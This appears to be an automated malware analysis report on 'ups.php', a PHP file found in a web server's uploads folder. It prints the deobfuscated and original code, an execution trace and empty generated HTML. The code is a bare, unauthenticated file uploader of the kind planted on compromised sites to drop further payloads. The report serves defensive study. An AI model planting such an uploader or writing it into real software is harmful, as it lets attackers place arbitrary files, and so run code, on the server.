PHP Malware Analysis
ups.php
md5: f57f4cbd26f59ee27d5e4a4ccb2e6167
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Files
- move_uploaded_file (Deobfuscated, Original)
Input
- _FILES (Deobfuscated, Original)
Deobfuscated PHP code
<?php
if (!empty($_FILES['uploaded_file'])) {
$path = "uploads/";
$path .= basename($_FILES['uploaded_file']['name']);
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
echo "The file " . basename($_FILES['uploaded_file']['name']) . " has been uploaded";
} else {
echo "There was an error uploading the file, please try again!";
}
}Execution traces
data/traces/f57f4cbd26f59ee27d5e4a4ccb2e6167_trace-1676249335.9112.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:49:21.809000]
1 0 1 0.000148 393512
1 3 0 0.000210 396072 {main} 1 /var/www/html/uploads/ups.php 0 0
1 3 1 0.000227 396072
0.000252 314224
TRACE END [2023-02-12 22:49:21.809132]
Generated HTML code
<html><head></head><body></body></html>Original PHP code
<?PHP
if(!empty($_FILES['uploaded_file']))
{
$path = "uploads/";
$path = $path . basename( $_FILES['uploaded_file']['name']);
if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
echo "The file ". basename( $_FILES['uploaded_file']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
?>